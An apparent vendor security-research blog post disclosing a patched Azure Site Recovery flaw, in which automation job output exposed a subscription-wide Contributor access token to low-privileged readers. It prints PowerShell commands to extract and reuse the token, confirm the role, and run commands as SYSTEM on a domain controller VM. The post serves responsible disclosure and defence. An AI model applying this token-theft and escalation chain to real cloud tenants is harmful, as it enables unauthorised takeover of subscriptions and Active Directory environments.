Cleartext credentials are commonly targeted in a penetration test and used to move laterally to other systems, obtain sensitive information, or even further elevate privileges. While this is a low effort finding to exploit, threat actors will utilize cleartext credentials to conduct attacks that could have a high impact for the target environment.

NetSPI discovered a cleartext Azure Access Token for a privileged Managed Identity. This prompted further investigation in which we were able to determine that the vulnerability was caused by the Microsoft-managed Azure Site Recovery service. In this blog, we’ll share the technical details around how we found and reported this vulnerability to Microsoft. Additionally, we’ll cover how the finding was remediated.

TL;DR

  1. The Azure Site Recovery (ASR) service utilizes an Automation Account with a System-Assigned Managed Identity to manage Site Recovery extensions on the enrolled Virtual Machines
  2. The ASR created Automation Account executes a Runbook that is hidden from the user, but the corresponding Job output for the Runbook remains visible
  3. A cleartext Management-scoped Access Token for the System-Assigned Managed Identity, which has the Contributor role over the entire subscription, was disclosed in the Job output and could be used to authenticate as the Managed Identity
  4. A lower-privileged user role could read this Access Token and authenticate as the Managed Identity, elevating their privileges to a Contributor over the entire subscription
  5. Microsoft has remediated this vulnerability for new and existing Azure Site Recovery deployments as of 02/13/2024

Background

The Azure Site Recovery (ASR) service is used to replicate enrolled Azure resources across different regions as a way to deploy replication or failover processes to maintain accessibility during an unplanned outage.

Requirements

The Azure Site Recovery service is not enabled by default. The Azure subscription was vulnerable to this privilege escalation path when:

  1. A Recovery Service Vault was created
  2. Site Recovery was enabled with enrolled Virtual Machines from a different region
  3. Extension Update Settings are turned on

It should be noted that the Azure Site Recovery service needs to be initially configured and the Extension Update Settings enabled by an Owner of the subscription. This is due to the fact that the service attaches the Contributor role to the Managed Identity that is created for the attached Automation Account.

Discovering the Vulnerability

The Extension Update Setting (when enabled) creates a new Automation Account in the Subscription, in this case “blogASR-c99-asr-automationaccount”, which is used to manage the Site Recovery extensions on the enrolled Virtual Machines.

Azure-Site-Discovery_1

The Automation Account periodically executes a Runbook to ensure the Site Recovery extensions are updated on the enrolled Virtual Machines. This Runbook is hidden from the end user since it’s created by the managed service (ASR).

We were able to determine the name of the Runbook as it is accessible in the JSON view for the Job.

Although the Runbook is hidden from the end user, the Job output remains visible under the Automation Account’s “Jobs” tab.

The Jobs will appear as MS-SR-Update-MobilityServiceForA2AVirtualMachines or MS-ASR-Modify-AutoUpdateForA2AVirtualMachines. Both Jobs contained output with a cleartext Access Token being truncated.

The Job output also shows that the authentication type is for the System-Assigned Managed Identity. We discovered that this System-Assigned Managed Identity also gets created with the Automation Account.

Searching the Object ID in Entra reveals the “blogASR-c99-asr-automationaccount” Enterprise Application.

The assigned role can be viewed in the subscription’s Access Controls (IAM). Notice that the Contributor role is granted to the application over the entire subscription.

Elevating Privileges to the System-Assigned Managed Identity

The */read or Microsoft.Automation/automationAccounts/jobs/output/read permissions are required to be able to read the Job output. Depending on the scope, this means lower-privileged user roles such as Reader or Log Analytics Reader (and even more obscure roles like Managed Applications Reader) can view the Access Token to elevate privileges!

A clear escalation path has now been identified with any lower-privileged user role able to view the Job output and see the cleartext Access Token, but how can we retrieve the full Access Token that is being truncated in the Portal view? To demonstrate the escalation path, we used a lower-privileged user (blogReader) with the Reader role.

We can use the Az PowerShell module with the low-privileged user (blogReader) to retrieve the Job output and view the full Access Token. We simply need to supply the name of the Automation Account, the Job ID, and the Resource Group for the Automation Account. Notice that the Epoch timestamp shows the token will be valid for 24 hours after its creation.

PS > Get-AzContext | FL
Name               : [REDACTED] - blogReader
Account            : blogReader
Environment        : AzureCloud
Subscription       : [REDACTED]
Tenant             : [REDACTED]
PS > Get-AzAutomationJobOutput -AutomationAccountName " blogASR-c99-asr-automationaccount" -Id 39814559-5661-4de3-857b-bb2504c4fcd6 -ResourceGroupName "blogRG2" -Stream "Any" | Get-AzAutomationJobOutputRecord
[TRUNCATED]
Value: {[expires_on, 1704853521], [resource, https://management.core.windows.net/], [token_type, Bearer], [access_token, eyJ0eXAi[REDACTED]]}
[TRUNCATED]

With the Access Token and Enterprise Application ID, the low-privileged user (blogReader) can authenticate as the System-Assigned Managed Identity which has the Contributor role on the entire subscription:

PS > $accesstoken = "eyJ0eXAi[REDACTED]"
PS > Connect-AzAccount -AccessToken $accesstoken -AccountId ee7f506d-65d4-492f-acb1-0ddb8e0d29cd
Account Environment   SubscriptionName    TenantId
-------------------   ----------------    -----------
[REDACTED]            [REDACTED]          [REDACTED]

We used the Az PowerShell module to verify the credentials are valid and have the context of a Contributor:

PS > $token = ((Get-AzAccessToken).Token).Split(".")[1].Replace('-', '+').Replace('_', '/')
PS > while ($token.Length % 4) {$token += "="}
PS > # Base64 Decode, convert from json, extract OID, pass into filter for Get-AzRoleAssignment to find current roles
PS > Get-AzRoleAssignment | where ObjectId -EQ ([System.Text.Encoding]::ASCII.GetString([System.Convert]::FromBase64String($token)) | ConvertFrom-Json).oid
RoleAssignmentName : 721d0fc1-9571-587a-ac51-f71f70b79310
RoleAssignmentId   : /subscriptions/[REDACTED]/providers/Microsoft.Authorization/roleAssignments/721d0fc1-9571-587a-ac51-f71f70b79310
Scope              : /subscriptions/[REDACTED]
DisplayName        :
SignInName         :
RoleDefinitionName : Contributor
RoleDefinitionId   : b24988ac-6180-42a0-ab88-20f7382dd24c
ObjectId           : cd459283-0d93-47fd-a614-c9280b2634ef
[TRUNACTED]

Potential Impact

Elevating privileges to the Contributor role over the subscription has a high impact for Azure users. Depending on the environment, this vulnerability allows for further elevation within a subscription.

For instance, the Contributor role provides administrative access over Virtual Machines which would allow an attacker to execute “Run Commands” as “NT AuthoritySYSTEM”. In cases where Domain Controllers are present in the subscription, this elevation path allows an attacker to compromise the joined Active Directory environment as a Domain Administrator.

PS > Invoke-AzVMRunCommand -ResourceGroupName 'blogRG1' -VMName 'blogDC' -CommandId 'RunPowerShellScript' -ScriptPath 'whoami.ps1'
Value[0]        :
  Code          : ComponentStatus/StdOut/succeeded
  Level         : Info
  DisplayStatus : Provisioning succeeded
  Message       : nt authoritysystem
[TRUNCATED]

Another example, previously outlined by Karl Fosaaen in the NetSPI blog, is abusing access to Cloud Shell images in Storage Accounts. Contributors have read/write access to Cloud Shell images in which they can inject the image with malicious commands and upload the modified image which will execute those commands in the context of that user.

While these circumstances may not be present in every environment, it’s important to understand the impact that this vulnerability can have when it’s abused by an attacker.

Remediation

Microsoft remediated this vulnerability by removing the Access Token from the Automation Account’s Job output.

MSRC Disclosure Timeline

  • 01/09/2024 – The initial report was submitted to MSRC
  • 01/09/2024 – MSRC assigns a case number 84800
  • 01/18/2024 – MRCS confirms the vulnerability
  • 02/13/2024 – MSRC pushes a fix for the vulnerability
  • 02/22/2024 – NetSPI verifies the vulnerability has been remediated for new and existing Azure Site Recovery deployments

Special thanks goes out to NetSPI’s Karl Fosaaen and Thomas Elling for contributing to the research for this vulnerability.

For more information on Cloud Pentesting, check out these resources below: